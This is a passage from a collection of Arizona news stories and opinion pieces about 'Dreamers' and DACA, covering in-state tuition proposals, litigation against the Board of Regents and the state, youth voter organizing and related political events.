But that still can end up costing an extra $6,000 a year at a state university. Boyer’s plan, if approved by voters, seeks to eliminate that disparity.

Rep. Tyler Pace, R-Mesa, said the proposal makes sense.

On one hand, he noted, the resident tuition is subsidized, not only by state taxpayers but also by higher tuition charged to out-of-state and international students.

“We can’t give in-state tuition to everybody,” Pace said. But he said there’s a larger question at issue here.

“At what point are you an Arizonan and do you get the benefit of being an Arizonan?” Pace asked. And the answer, he said, appears to be in SCR 1044.

He said the test set up by Boyer appears to suggest that those who would be able to use this are those who intend to stay here, plan to grow their families here, will be paying taxes here, and will benefit the Arizona economy.

That test specifically includes attending or graduating from a public or private high school or having been home-schooled while physically present in the state for at least two years. And Pace said he doesn’t see this as being a drain on state dollars.

“The finances of this make sense to me,” he said. “We’re going to recoup the money through an economic benefit long term.”

And what of the fact that, strictly speaking, DACA recipients may not technically be legally present in the country?

“That’s a federal issue,” he said, that needs to be resolved by Congress.

Boyer said, in his mind, it’s even simpler than that.

“These young adults who were brought here as children, through no fault of their own, for all intents and purposes are Americans even though they don’t have legal status recognized by the federal government,” he said.

“And as far as I’m concerned, the least we can do is provide for them for in-state tuition,” Boyer said. “This gives them a little bit of hope.”

The measure now goes to the full Senate.

Judge hears arguments in AG suit against regents

Lawyers for the Board of Regents told a judge Friday that Attorney General Mark Brnovich has no legal right to challenge the tuition it sets for the state’s three universities — or even the policies used to come up with those numbers.

Joel Nomkin pointed out the last challenge came more than a decade ago when former lawmaker John Kromko and others sued following the regents’ decision to hike tuition by close to 30 percent. They charged — as Brnovich does now — the board with violating a constitutional provision that instruction be “as nearly free as possible.”

Nomkin reminded Maricopa County Superior Court Judge Connie Contes that the Attorney General Office — then actually defending the regents — argued that such questions are beyond the reach of courts, with the language “not susceptible to judicially discoverable and manageable standards for resolution.” The Supreme Court agreed, tossing out the claim.

“The only thing that’s changed since Kromko is that the attorney general has switched positions and is now suing his client,” Nomkin said.

Assistant Attorney General Beau Roysden does not deny that ruling. In fact, he essentially is conceding that there is no right to challenge the specific tuition figures now exceed $10,000 a year for Arizona residents.

But Roysden said what his boss is contesting is the policy of how the board got to those numbers.

He contends that the plain language of the Arizona Constitution requires the board to set tuition based solely on how much it actually costs to provide instruction. Roysden said the board instead considers eight factors, ranging from how much other state universities charge to the availability of student loans and other aid.

“Out of eight factors, none of them are how much does it actually cost to instruct a student,” he said.

Hanging in the balance is the claim by Brnovich that board members have “dramatically and unconstitutionally” increased the cost of going to one of the state’s three universities by anywhere from 315 percent to 370 percent since the 2002 school year. On an annualized basis, he said, that computes out to 14.1 percent, “the third fastest rate of growth among all 50 states.”

Brnovich has not disputed that some of that is likely due to lawmakers sharply decreasing the dollars supplied for higher education. Legislative budget analysts have found that since 2008 state aid went from $9,648 per student to $4,098, even before the effects of inflation are considered.

But Brnovich contends all of that is legally irrelevant. He said the only thing that matters is that the tuition be linked to the actual cost of instruction.

“The purpose of the attorney general’s suit is to stop and recover the illegal payment of public monies, (and) make tuition more affordable for all Arizonans,” Roysden said. And he told the judge the issue extends beyond the cost of tuition for full-time students.

He said Arizona residents who want to attend college on a part-time basis are paying more on a per-class basis than those who go full time and that in-state students in some cases pay the same tuition for online courses as those who do not live here.

“And ABOR is charging mandatory fees for things like health, athletics and recreation, even if a student just wants to attend class and receive instruction towards his or her degree,” Roysden said.

Nomkin said none of that matters.

He said the Supreme Court, in the Kromko case, essentially said that if people are unhappy with how the board is setting tuition they have a remedy: Take their case directly to lawmakers, as it was the Legislature that gave the regents the authority in the first place — and who always have the power to take it away and set tuition themselves.

Only part of the lawsuit is over that question of how tuition is set.

Roysden also told Contes the regents are acting illegally allowing “dreamers” who are Arizona residents to attend the state’s three universities paying the same tuition as other in-state students.

That is based on a 2006 voter-approved law that says state dollars cannot be used for tuition waivers or assistance for someone who is “without lawful immigration status.” Brnovich contends that while the Deferred Action for Childhood Arrivals program allows people who arrived in this country illegally as children to remain, they still are here contrary to federal immigration laws.

Roysden contends the only way to determine if the tuition for dreamers is being subsidized is to ascertain what it actually costs to teach students. And that, he told Contes, also opens the legal door for the attorney general to ascertain the actual cost of instruction and challenge that as not being constitutional.

Whatever Contes decides is unlikely to be the end of the dispute.

If she agrees with Brnovich, that sets the stage for a trial on whether the regents are complying with the Arizona Constitution. But Brnovich is virtually certain to appeal if she sides with the regents and dismisses the case.

The judge gave no indication when she will rule.

Judge hits state with $2m in legal fees for ‘dreamers’ license suit

The unsuccessful bid by Gov. Jan Brewer and the state to keep “dreamers” from getting licenses to drive is going to cost Arizona nearly $2 million.

In an order Monday, U.S. District Court Judge David Campbell said the challengers to the former governor’s executive order are entitled to almost $1.9 million in legal fees. And Campbell agreed they are owed more than $81,000 in other costs.

That’s on top of whatever the state had to pay its own outside attorneys in the losing legal effort, a number that the Attorney General’s Office said was not immediately available.

“That’s outrageous,” Brewer told Capitol Media Services when informed of Campbell’s order. And the now-former governor said she still believes her directive to deny licenses to dreamers based on her reading of state law was legal, no matter what the courts ruled.

“I believe in the judicial system,” she said. ” But I think that our interpretation was correct.”

But paying this tab isn’t going to end the amount of taxpayer money being spent over the fight on who is entitled to legally drive in the state.

Gov. Doug Ducey is currently engaged in a separate and protracted legal battle to deny state-issued licenses to other “deferred action” recipients who were not part of the first lawsuit.

There is no current tally of what that fight is costing taxpayers. But as of a year ago the state Department of Transportation said it already had paid out almost $210,000 to lawyers representing the governor in that legal fight.

And if Ducey loses, taxpayers again will be on the hook for the legal fees of challengers.

Campbell’s order finally ends the first legal fight that goes back to 2012.

That’s when the Obama administration created the Deferred Action for Childhood Arrivals program. It says that those who arrived in this country illegally as children could stay without fear of deportation and even legally work if they met certain other conditions. At last count there were about 31,000 DACA recipients in Arizona.

Brewer, in an executive order, directed the Arizona Department of Transportation to deny licenses to DACA recipients, saying they are not qualified under a 1996 state law that says licenses are available only to those whose presence is “authorized by federal law.” She specifically argued that the U.S. Department of Homeland Security has no legal authority to permit DACA recipients to remain and work.

That argument failed to convince federal judges who said Arizona cannot decide for itself who is legally entitled to be in the country. In fact, appellate Judge Harry Pregerson wrote that Brewer’s order was motivated by “a dogged animus” against DACA recipients.

Even after Brewer left office at the end of 2014, the state kept fighting the lawsuit all the way to the U.S. Supreme Court, which issued a final ruling earlier this year. That paved the way for Campbell to award legal fees to the challengers, including the Mexican American Legal Defense and Educational Fund, the National Immigration Law Center and the American Civil Liberties Union.

What’s now left is Ducey’s own legal fight with deferred-action recipients which in some ways is a spinoff of the original — and now lost — legal battle.

In contesting Brewer’s order, one of the arguments made by challengers is that the state was not being fair because it had been providing licenses for years to those in other deferred-action programs. These included domestic violence victims, those with pending visa applications, and those allowed to stay for humanitarian reasons.

So in its bid to buttress the decision to deny licenses to dreamers, the state stopped issuing licenses to those in the other covered groups. And since they were not included in the original laws — they had been getting licenses until being cut off — they were not covered by the separate ruling on behalf of dreamers.

That resulted in a new lawsuit by those affected, this one specifically against Ducey. And he hired his own attorneys — at state expense — to argue that these other deferred-action recipients are not entitled to a state license to drive.

Ducey has defended maintaining the lawsuit, even in the face of the U.S. Supreme Court ruling against Arizona in the earlier case. But the governor has so far had no better luck than his predecessor in convincing the courts to deny the bid by these other deferred-action recipients for the right to drive legally.

Campbell, who is hearing that case, too, said there is evidence that the individuals who sued are being denied the same driving privileges that ADOT grants to others who have similar legal status. And he rejected claims by Douglas Northup, the attorney Ducey hired at state expense, that these people actually can get a license if they produce certain other evidence.

“Indeed, when asked during oral argument where a person could go to learn of this policy and how to comply with it, defense counsel was unaware of any place where it had been publicized,” the judge wrote.

Ducey now is seeking review by the 9th Circuit Court of Appeals.

Plight of ‘dreamers’ looms as Supreme Court decides their fate

While the nation’s focus is rightfully on the COVID-19 crisis, another crisis is looming for a large group of young people. Dreamers are living a nightmare as they wait for the federal government to act on their status.

There is no national consensus on immigration, with passionate viewpoints on both sides. But most Americans sympathize with the plight of Dreamers, who were brought into this country as young children. No matter where you stand politically, most of us agree that Dreamers are standing on shaky ground as the US Supreme Court decides if they can stay in the only country they have ever known.

As an immigration lawyer, I have represented thousands committed to the pursuit of the American Dream. Many of them are Dreamers with DACA status, which stands for Deferred Action for Childhood Arrivals.

It has been a lifeline for many young immigrants, but that lifeline may go away depending on what happens in the U.S. Supreme Court, in the halls of Congress, and in the Oval Office.

In 2012, the Obama Administration granted temporary relief from deportation and work authorization documents to foreign nationals inside the United States who had been brought here as children through no fault of their own. DACA status allows them to work, go to school, and live the American dream.

It is estimated that more than 825,000 have applied for DACA since its inception in 2012. I was able to witness firsthand how the lives of these young people were being changed for the better.

In 2017, the Department of Justice under President Donald Trump announced an end to the DACA program, putting Dreamers at risk of deportation. Fortunately, through court challenges, DACA recipients are still able to renew their status every two years. This all could end when the Supreme Court issues its decision in the coming weeks.

The Supreme Court could delay this decision. The court has already delayed oral arguments until the fall term of this year in response to COVID-19 crisis. Why not take this same approach to the decision regarding the fate of Dreamers? Especially when considering that some 30,000 Dreamers are health care workers on the front line in our nation’s defense against the spread of this pandemic.

If the Supreme Court does strike DACA down, the onus would immediately shift to Congress to pass a bipartisan bill to protect the Dreamers. While the term “bipartisan” has become almost a laughable concept in today’s politics, countless polls show bipartisan support for Dreamers. Politicians who ignore their plight do so at their own risk come Election Day.

Finally, the Trump Administration could reverse course and pass its own version of DACA. The same executive power that this administration has invoked to pass travel bans and curtail legal immigration could be repurposed to protect Dreamers. Trump may have created the current DACA crisis, but he has it within his power to solve the crisis and score some points with moderates.

Ultimately, our nation benefits from Dreamers and will suffer if they are thrust out of the country. Whether it be the Supreme Court, the Congress, or the president, there is a path forward for protecting Dreamers and in doing so, we as a nation have the opportunity to show that in America in 2020, empathy and common sense can still overpower loud voices and rash decisions.

— Darius Amiri is chairman of the Rose Law Group’s Immigration Department.

Progressive youths push for Democratic victories

Audrey Ruiz, right, speaks with protestors at the Children Belong on Playgrounds, Not Cages rally on June 19, 2018, at the state Capitol. (Photo courtesy of NextGen Arizona)

Audrey Ruiz didn’t talk about politics with her family much, but having just left her parents’ Yuma home, she has knocked on thousands of doors spreading the word of NextGen in Arizona.

She said the issues that affected her community that “seemed fine” before didn’t seem fine anymore. She realized that she had to stop sitting on the bench and help her community address these issues.

NextGen, a youth vote program funded by billionaire Tom Steyer, seemed like the right fit for her when she was looking for something to get involved in and backers of the program came to recruit her.

“I feel like my community, the different communities that I belong to, whether it be the immigrant community or people struggling under our health care system, being a female
. . . I feel like all of these communities are under attack under our current administration,” said Ruiz.

“I am the granddaughter of immigrants, the daughter of a mother who is struggling under our health care system. I’m a student and I’m afraid to be shot in a classroom.”

Ruiz, 19, is among a growing number of minorities, college students, environmental activists, children of first-generation Americans, gun regulation supporters and first-time voters who feel that their coalition of 76 million voters under the age of 35 have the voting power to reshape America.

Their personal experiences have left them disenchanted with America under the Trump administration, and they want to nurture their progressive beliefs for the future of America with their drive to register voters.

At the NextGen hub in central Phoenix they work with laptops on folding tables in a room smaller than a convenience store, and use U.S. Census data to target areas dense with young people.

“They care about DACA [Deferred Action for Childhood Arrivals] and ensuring that there’s a path to citizenship for Dreamers,” said Jalakoi Solomon, director of Arizona’s NextGen branch. “They care about everyone having access to affordable health care; about the cost of college and the minimum wage; about gun safety and being safe in your home, and your church and your schools.”

Steyer has said he will pour $2 million into Arizona elections this year and he is investing $30 million in 10 states in an effort to push Democrats to victory in the midterms. NextGen volunteers have knocked on more than 30,000 doors and are directly responsible for registering more than 9,000 voters. According to the Secretary of State’s Office, 89,000 people 18-40 have registered to vote since March 1, a near 10-point increase in that demographic.

In the coming weeks when college students go back to school, NextGen plans to sign up an additional 12,000 people to vote in the 2018 general election.

Defining moments

Despite earlier reluctance to talk about political issues, Ruiz remembers significant conversations with her family when controversial SB1070, which enabled local police to crack down on illegal immigration, became law. She was about 11 and she recalls the anger that flared up in her community over its passage.

Immigrants’ rights groups at the time said that parts of the law would lead to legalized racial profiling and create heavier policing of Hispanic and migrant communities.

“I remember the protest and rallies against the act,” Ruiz said. “It was the first time my entire family talked about politics, so while I didn’t completely understand what was going on, I knew what the words ‘racial profiling’ meant, which, looking back, is completely disgusting for a child to know.”

Ruiz said her experience with SB1070 and President Trump’s recently reversed zero-tolerance policy that separated children from their parents continue to live on in the heart of the canvassing work she and others are doing.

“If one of these policies were enacted years ago, I don’t know if my family would be here today,” Ruiz said.

Turning out young voters is critical to any progressive movement because they are typically more supportive of issues that affect people like Ruiz, an American from a Hispanic community, or Alex Ross, a gay NextGen worker who is the regional organizer for the West Valley.

Ross’ mother is a permanent resident who has lived in the U.S. for 57 years. She traveled to the U.S. when she was 6 from Costa Rica and married an American man when she grew up.

Headlines announcing the deportation of women who had lived in the U.S. for decades has Ross fearful that his mother does not have guaranteed protection from deportation despite her legal immigration status.

Ross, 22, who attended Catholic school in New York, said his mother was the force behind him entering political organizing. She pointed out the inequality of the poor and homeless people on the street and the minorities who were disproportionately affected.

As a high school senior, he worked with Teen Council, an affiliate of Planned Parenthood, to teach young adults about safe and consensual sex, but he found himself leaning more toward policy when he went to college.

“No one is a single-issue voter,” Ross said. “We all live lives that are complicated, and touch in different areas and different ways, and so the way I see it, fighting for immigration justice is also fighting for reproductive justice. They all kinda’ tie together.”

Upset with the family separation policy and other actions against the rights of LGBTQ people, like himself, Ross sought an opportunity to step up and be a leader for the youth. He joined NextGen in 2018.

Large campaign

Guadalupe Espitia, 23, said the issues she hears most about while canvassing for NextGen in Glendale are immigration and education, and her job is to make voting as easy as possible for people and to teach them about the value of their vote.

Espitia, an Arizona State University student who grew up in Tolleson, said her plan is to return to her former high school to teach there, and she stabs the table with a finger to emphasize each word that she utters.

“There is still a lot of conversations that need to be had where we know that we can vote, and that voting is our right. However, to actually vote is another story,” she said.

Ruiz has knocked on 5,000 doors since March, starting in Yuma and continuing through the Phoenix summer.

In Yuma, the Trump ticket won by 1-percentage point in 2016, and with a typically decreased voting turnout during midterms, the 2018 election could flip Ruiz’s hometown to the Democrats – if they decide to show up. Democrats say they have almost everything going in their favor this election– a nationally unpopular president sitting at 40 percent in most polls and the first midterms of his presidency.

“We’ve been knocking on thousands and thousands of doors … and we’re mobilizing the youth,” Ruiz said. “We’re running the largest youth voting campaign in the history of America and we’re going to register as many young people as we can, because we know when young people come together and vote they tend to vote for progressives.”

This story has been updated to report that NextGen plans to register 12,000, not 5,000, people to vote, when colleges and universities begin classes in for the fall 2018 semester.

Proposal to give ‘Dreamers’ in-state tuition goes to ballot

Arizona voters will decide in November 2022 whether immigrants in this country illegally who are Arizona residents should be allowed to pay in-state tuition at public colleges and universities.

The House voted 33-27 to pass Senate Concurrent Resolution 1044, with Reps. Michelle Udall, R-Mesa; Joel John, R-Buckeye; David Cook, R-Globe; and Joanne Osborne, R-Goodyear, joining all 29 Democrats to advance the measure. It passed the Senate 17-13 in March, with three Republicans joining the Democrats in that chamber to pass it.

“ … today I am voting for all ‘Dreamers’ because you are our future doctors, scientists, engineers, educators and much more,” said Rep. Rich Andrade, D-Glendale.

The resolution was never assigned to a House committee after passing the Senate and appeared to be dormant for two months until Udall made a motion to revive it last week, prevailing with John’s support against the rest of the House Republicans in a series of procedural motions to force it to be put on the calendar for a vote. Udall said it isn’t fair to penalize people who were brought to the U.S. as children for either the actions of their parents or this country’s failure to fix its immigration system.

“We cannot continue to hold them hostage based on the actions or inactions of others,” she said.

The measure, if approved by voters, would repeal a portion of 2006’s Proposition 300, which bars immigrants who are living in the U.S. illegally from receiving in-state tuition, instead letting them receive it if they went to high school in Arizona and have lived in the state for at least two years.

Several Republicans said they supported the policy behind the proposal, but were voting “no” because of the way the measure was brought to the floor against the wishes of the GOP majority. House Speaker Rusty Bowers, R-Mesa, who falls into this camp, said he had hoped to get more of his fellow Republicans on board and felt a responsibility to protect the House’s normal procedures and committee process.

“I congratulate those who feel a gain and a benefit, but I cannot support the way that this was done, and I must vote no,” he said.

Cook objected to this way of thinking, and urged his colleagues to vote on whether they support the policy.

“That’s what we are voting on is the policy on the board, not the manner in which it got here, because if we were all 60 members, I’m sure we would run the place a little differently if we were king for a day, but we’re not,” he said. “We’re 60 people inside this building who do respect it, and 31 is the magic number … so I’m voting on the policy on the board.”

A couple Republicans said they would support extending in-state tuition to beneficiaries of the Deferred Action for Childhood Arrivals program, or people who were brought to this country as children in the past and enjoy federal protections from deportation, but that the measure would apply to more people than that, including people who cross illegally in the future.

“It is taking a good intent to further a not-so-good intent,” said Rep. Becky Nutt, R-Clifton.

Other Republicans said they oppose the idea of providing a benefit to people who are in the country illegally.

“Americans should not have to pay for non-American citizens, illegals, giving them favored status for their trespass and invasion into America,” said Rep. John Fillmore, R-Apache Junction.

Numerous Democrats spoke in favor of the measure, saying it would be good for the state and for the children who would now be able to receive an education, and broke into loud applause after the vote. Rep. César Chávez, D-Phoenix, talked about how his own parents brought him across the Sonoran Desert to the U.S. when he was a toddler.

“This country has allowed that 3-year-old little boy that left his home country to become a state representative in the great state of Arizona, and with this vote we are one step closer to providing that same opportunity to many of those children that only know the United States of America, that only hold that oath of loyalty to this country and no other country,” he said.

Regent says colleagues wrong to maintain in-state tuition rate for ‘Dreamers’

Laura Reyes said she has a personal reason for hoping DACA is upheld - it would allow her to pay in-state tuition in college - as well as helping “my brother, my sister and a lot of people.” (Photo by Madison Alder/Cronkite News) — In this 2016 photo, Laura Reyes said she has a personal reason for hoping DACA is upheld – it would allow her to pay in-state tuition in college – as well as helping “my brother, my sister and a lot of people.” (Photo by Madison Alder/Cronkite News)

A five-year veteran of the Arizona Board of Regents said Friday his colleagues are wrong to keep allowing “Dreamers” to pay the same in-state tuition at state universities as legal Arizona residents.

Regent Jay Heiler said his colleagues are acting in good faith in deciding to keep the tuition policy in place for now, and he acknowledged that a June ruling by the state Court of Appeals voiding a similar policy by the Maricopa County Community College District is being appealed to the Arizona Supreme Court.

But Heiler is distancing himself from a letter sent Thursday to the Attorney General’s Office by board President Eileen Klein on behalf of the other regents. Klein said the tuition policy for those in the federal Deferred Action for Childhood Arrivals program is justified and will remain. She also urged the attorney general not to sue the board but instead wait for a final ruling in the Maricopa case.

Put simply, Heiler, who is an attorney, said he believes the regents’ policy clearly violates a 2006 voter-approved law, which prohibits the use of tax dollars to subsidize the tuition of students not in this country legally.

“Regardless of whether one agrees with the relevant law (which was enacted at the ballot by a large majority of Arizona voters), it could scarcely be more clear that the board’s presently established tuition rate violates it,” Heiler wrote in a letter Friday to Attorney General Mark Brnovich obtained by Capitol Media Services. And he said that has now been pointed up by the appellate court ruling.

“The only lawful course and the only solid ground on which a fiduciary board can stand is to comply with the law and set a tuition rate which does not amount to a ‘subsidy,’” he wrote.

Heiler said there is a simple – and he believes legal – solution: Charge DACA recipients a non-subsidized rate, something that covers the actual costs of their education but far less than full out-of-state tuition.

In fact, the regents already have a policy allowing those who graduate from an Arizona high school but don’t meet residency requirements to pay 150 percent of in-state tuition.

In this Feb. 10, 2011 file photo, protesters gather around former state senator Russell Pearce, author of SB 1070. The ACLU acquired thousands of Pearce e-mails through a public records request and says they prove the controversial anti-immigration law was racially motivated. (Matt York/Associated Press) — In this Feb. 10, 2011 file photo, protesters gather around former state senator Russell Pearce, author of SB1070. (Matt York/Associated Press)

But former state Senate President Russell Pearce, who is threatening his own lawsuit against the regents over their current policy, said he believes even that would be illegal. And Pearce told Capitol Media Services said he may sue anyway even if the regents enact that 150 percent fallback position if the in-state tuition policy is ultimately ruled illegal by the Supreme Court.

The regents agreed to let DACA recipients pay in-state tuition in 2015 after Maricopa County Superior Court Judge Arthur Anderson upheld a similar policy at the Maricopa colleges in a lawsuit brought by the Attorney General’s Office.

In June, however, a three-judge panel of the state Court of Appeals concluded unanimously that the policy violates Proposition 300, a 2006 ballot measure approved by voters on a 2-1 margin. It says anyone “without lawful immigration status” is not entitled to any tuition waiver, financial aid or any other financial assistance “that is subsidized or paid in whole or in part with state monies.”

The judges acknowledged that DACA, enacted by the Obama administration in 2010, does allow those who arrived in this country illegally as children to remain and work without fear of deportation. But they said that does not legalize their presence in the country.

Klein wants Brnovich to await the Supreme Court review before bringing a new lawsuit to void their tuition policy.

But not Heiler.

“My main concern is that, no matter how you slice it, we’ve positioned ourselves in contravention of the law,” he told Capitol Media Services.

In her letter Thursday, Klein said there are grounds the regents agreed to let DACA recipients pay in-state tuition.

“Our state’s economic competitiveness depends upon the education of all qualified students,” Klein wrote. “That is why access, affordability and student success are priorities of the board.”

Heiler said that’s missing the point.

“We may have good reasons for wanting to do that,” he said. “But I’m not sure we have the liberty to do that.”

That’s also Pearce’s assessment.

“They absolutely broke the law and they need to be held liable for it,” he said. Nor is Pearce persuaded that the regents are entitled to act after Anderson, the judge, upheld the similar Maricopa colleges policy.

Pearce said it was an “illegal court ruling,” calling Anderson “a judge who took advantage of his position.”

That still leaves the question of what happens to DACA recipients if the Supreme Court says it’s illegal to let them pay the same in-state tuition as legal Arizona residents. Heiler is pushing for that 150 percent figure.

“I do believe that there’s a very strong argument to be made that a tuition rate, which does not amount to a subsidy complies with state law,” he said.

But Pearce disagreed that there is such a thing as a non-subsidized tuition.

“They’ll have to make up numbers to do it,” he said, maintaining that DACA itself is contrary to federal law, an issue that has yet to be formally settled by federal courts.

Heiler said the Court of Appeals concluded that DACA recipients lack “lawful immigration status.” But there are federal court rulings that say the Obama-enacted policy gives them “lawful presence,” something Heiler said “may well give the board the legal authority to charge them a rate higher than in-state tuition but less than what out-of-state students pay.”

Rep. Blanc arrested, then released following D.C. demonstration

Arizona State Rep. Isela Blanc, D-Tempe, was arrested by capitol police today in Washington, D.C. while participating in a sit-in demanding that Congress pass a comprehensive immigration reform bill. (Photo courtesy of Rep. Tony Navarrete)

Arizona State Rep. Isela Blanc, D-Tempe, was arrested Monday in Washington, D.C. while advocating for undocumented immigrants.

She has since been released, according to Robbie Sherwood, who speaks for House Democrats.

Blanc was in Washington participating in a sit-in along with advocates from Living United For Change in Arizona, or LUCHA, and national groups like United We Dream and Center for Popular Democracy.

The groups demanded that Congress pass a comprehensive immigration reform bill protecting the more than 700,000 young undocumented immigrants protected under the Deferred Action for Childhood Arrivals program or DACA.

The Trump administration rescinded DACA in September last year, and March 5 was supposed to be the day the program ends. Last month, however, the U.S. Supreme Court declined to hear the Trump administration’s appeal of a lower court order that placed an injunction on the termination plan and which required the U.S. Department of Homeland Security to continue accepting DACA applications.

Blanc is one of two state legislators who are formerly undocumented. She came to the United States from Mexico on a visa when she was 6 years old and was undocumented until 16, when she became a legal permanent resident.

The other is Rep. Cesar Chavez, D-Phoenix, who came to the United States from Mexico in 1991, when he was 3 years old.

Rep. Tony Navarette, D-Phoenix, who is in D.C. for a conference and was at the demonstration, said Blanc was arrested for civil disobedience for blocking traffic on the National Mall after police tried to disperse the crowd of roughly 500 people.

LUCHA members and other local activists were also arrested, Navarette said.

United States Capitol Police spokeswoman Eva Malecki said 68 people were arrested for “unlawful demonstration activities” on the National Mall. They were each charged with crowding, obstructing or incommoding, and 28 of them were also charged with resisting arrest.

Another 19 people were arrested in the Longworth House Office building and charged with crowding, obstructing or incommoding.

Navarette said the groups will meet with staffers from U.S. Sens. John McCain and Jeff Flake’s offices, as well as Rep. Ruben Gallego’s office on Tuesday, to lobby for immigration reform.

Sanders stumps for Garcia to rally young voters

U.S. Sen. Bernie Sanders speaks during a Get Out The Vote rally at the University of Arizona Tuesday, Oct. 23, 2018, in Tucson, Ariz. Sanders is in Arizona to speak at rallies in Tucson and Tempe for Democratic gubernatorial candidate David Garcia. Garcia is an education professor at ASU who is facing Republican Gov. Doug Ducey in the Nov. 6 general election. (Mamta Popat/Arizona Daily Star via AP)

As he lags in the polls, Democratic gubernatorial candidate David Garcia brought in progressive powerhouse Sen. Bernie Sanders to fire up young voters at rallies in Tucson and Tempe on Tuesday.

Sanders blasted President Donald Trump at a rally on Arizona State University’s campus and reminded Arizona voters of a series of progressive victories they brought about in recent years as he stumped for Garcia, who opposes Gov. Doug Ducey.

The former presidential candidate who may run again in 2020, praised Arizona voters for ousting Maricopa County Sheriff Joe Arpaio from office in 2016, calling him a “racist of the worst kind.”

Sanders also touted passage of a ballot measure to boost Arizona’s minimum wage.

With his distinctive, East Coast accent Sanders even hearkened back to his last visit in Phoenix, during which a woman told him she waited eight hours in line to vote for him during the presidential preference election.

He then praised rally goers for ousting Maricopa County Recorder Helen Purcell after voters waited in line for hours and many simply did not vote because of the long lines during the presidential preference election.

“You stood up and you said that you will not allow people to suppress democracy and you got rid of that county recorder,” he said.

“That’s what democracy is all about.”

Sanders’ speech had echoes of a presidential stump speech, but he added reminders to young voters that their voices could be heard if they turned out to the polls on Election Day.

The politician with a nearly cult-like following insisted that the best way to send a message to Trump is if voters turn out in droves and elect progressive candidates like Garcia.

“In 2014, we had the lowest turnout in modern history,” Sanders said. “In 2018, we’ve got to have the highest.”

Sanders called Trump a pathological liar who duped voters in Arizona and across the country, he said while acknowledging Arizona went for Trump in the 2016 presidential election.

Many of those Trump voters didn’t know then what they know now, he said.

Trump said he would provide healthcare for everyone, but then led the charge to repeal the Affordable Care Act, Sanders said. He said he was going to take on the establishment, but then he appointed more billionaires to his administration than any other previous president.

“Trump told the people of Arizona one thing and ended up doing something very different,” he said.

Sanders never explicitly mentioned Ducey in his 30-minute remarks, but he excoriated wealthy politicians and a corrupt political system that allows them to ascend to power.

Garcia was not so subtle. He contrasted his background in the U.S. Army with Ducey’s background as CEO of Coldstone Creamery.

“I have served our country. Doug Ducey has served ice cream,” Garcia said. … “We’ve got a CEO governor right now. We need a working class governor right now.”

He talked about growing up in a working class household and focused much of his speech on education, one of his top issues throughout the campaign.

But Garcia also played to his audience by promising to stand by Deferred Action for Childhood Arrivals students and pledged to make state colleges and universities nearly as free as possible, as is stipulated in the state constitution.

“Our universities should be as nearly free as possible,” Garcia said. “That’s not some crazy, progressive idea. That’s Bernie Sanders before Bernie was Bernie.”

Hundreds of students and progressives turned out to the campus rally. Garcia molded himself into a Sanders-type this election by shunning corporate PAC money, promising free college and calling for a single-payer health system.

The rallies at Arizona State University and the University of Arizona underscore Garcia’s path to victory in the governor’s race. Throughout the race, he has worked to motivate new voters and those who don’t typically vote, such as Hispanics and young voters.

But his strategy may be lacking. Polls show Garcia trailing Gov. Doug Ducey by double digits. Ducey and his supporters have overwhelmingly outspent Garcia, making it hard for the Democrat to keep his head above water in the general election.

Ducey had harsh words for Garcia and Sanders last week while the governor and other Republicans rallied with Trump in Mesa.

“Can you believe it? These guys are actually proud to stand with Bernie Sanders,” Ducey said. “Would you be proud to stand with Bernie Sanders?”

Sanders lost to Hillary Clinton by double digits in Arizona.

Senate committee passes ‘dreamer’ tuition rate

A measure to create a new tuition rate for Arizona high school graduates, including DACA recipients, was revived in a Senate committee Thursday afternoon after failing to receive a hearing in the House of Representatives.

That revival came over the objections of some Republican senators, who say Sen. Heather Carter’s proposal violates Proposition 300, a 2006 voter-approved law that prevents those “without lawful immigration status” from paying in-state tuition rates at Arizona community colleges and state universities.

Carter, a Cave Creek Republican, has defended her bill as a more broad attempt to offer a reasonable tuition rate for anyone who graduates from an Arizona high school, regardless of their immigration status or their residency – those who move out of state after graduating high school in Arizona would also stand to benefit if they choose to return to the state to seek a higher degree.

That new rate would cost more than in-state tuition, but less than high out-of-state tuition rates that apply to all other students.

Critics have cited the bill’s impact on immigrants under the Deferred Action for Childhood Arrivals program, as well as undocumented high school graduates, as reason to oppose it. It’s part of the reason why House Speaker Rusty Bowers blocked the measure from receiving a vote in his chamber.

“I just can’t trounce Prop. 300,” Bowers, R-Prescott, told Capitol Media Services.

That sentiment was echoed in testimony before the Senate Health and Human Services Committee, where Carter struck her proposal for a new tuition rate on HB2186.

Senate Majority Leader Rick Gray, a Sun City Republican, said approving Carter’s bill would amount to “disenfranchising” voters who overwhelming approved Prop. 300.

“This is an integrity issue for me,” said Gray, R-Sun City, before voting no. “I have to come down to, what did the voters say?”

Carter bristled at accusations in public testimony that she broke the rules by reviving her bill, which followed standard House and Senate protocol that allow bills to be wiped clean and amended with entirely new language.

And the proposal doesn’t conflict with Prop. 300 because it’s creating an entirely new tuition rate that – by nature of being brand new – could not have been contemplated when voters approved the ballot measure more than a decade ago, she said.

HB2186 “is legal, appropriate, does not violate the will of the voters, does not violate Prop. 105 because nothing in Prop. 300 said anything about a tuition rate that had not been created,” Carter said.

Unlike Arizona’s in-state tuition rates, the new rate that Carter wants to create wouldn’t subsidize the cost of education. It’d be up to the Arizona Board of Regents to set the rate, but Carter said it would “have to be set no lower than the actual cost to the institution educating the student.”

The bill advanced with bipartisan support on a 5-3 vote, and will likely clear a vote in the Senate once more, where the idea was previously approved 18-12. The chamber’s 13 Democrats unanimously support the measure, as do Republicans like Sen. Kate Brophy McGee of Phoenix, who said Thursday that Arizona may as well provide a path to educate Arizonans who’ve gone through the state’s K-12 system.

“If we are going to continue to grow our economy, we need skilled workers,” Brophy McGee said. “It is fundamentally as simple as that. And who better to fill those jobs than people we have invested in already.”

Senate must permit vote on future of undocumented youth

Dear Editor:

While the recent Supreme Court decision on DACA appeared to be the light at the end of the tunnel for DACA folks, Trump retaliated by changing the rules of the program so that renewing will be more costly and first-time applicants will not be accepted. For politicians, toying with our lives is a method of gathering votes and increasing funds. For undocumented youth, this means halting our education and careers, limiting our lives, and not having some peace of mind even during a worldwide pandemic.

I am saddened at the harsh reality undocumented youth are faced with for simply existing in this country. The uncertainty of the future is made even worse when you are faced with the possibility of deportation and having to completely reset your life. For over 2.5 million undocumented youth, this may be our reality without a permanent solution.

With a Republican administration testing the decision of a conservative SCOTUS, a solution seems unlikely. However, U.S. Sen. Kyrsten Sinema must urge the Senate majority leadership to permit a vote for H.R.6 so that undocumented youth may progress with their lives in the country they call home.

Oscar Hernandez-Ortiz is an ASU MLK Student Servant-Leadership awardee, former public school teacher, DACA recipient and Arizona Department of Education Latinx Advisory Board member.

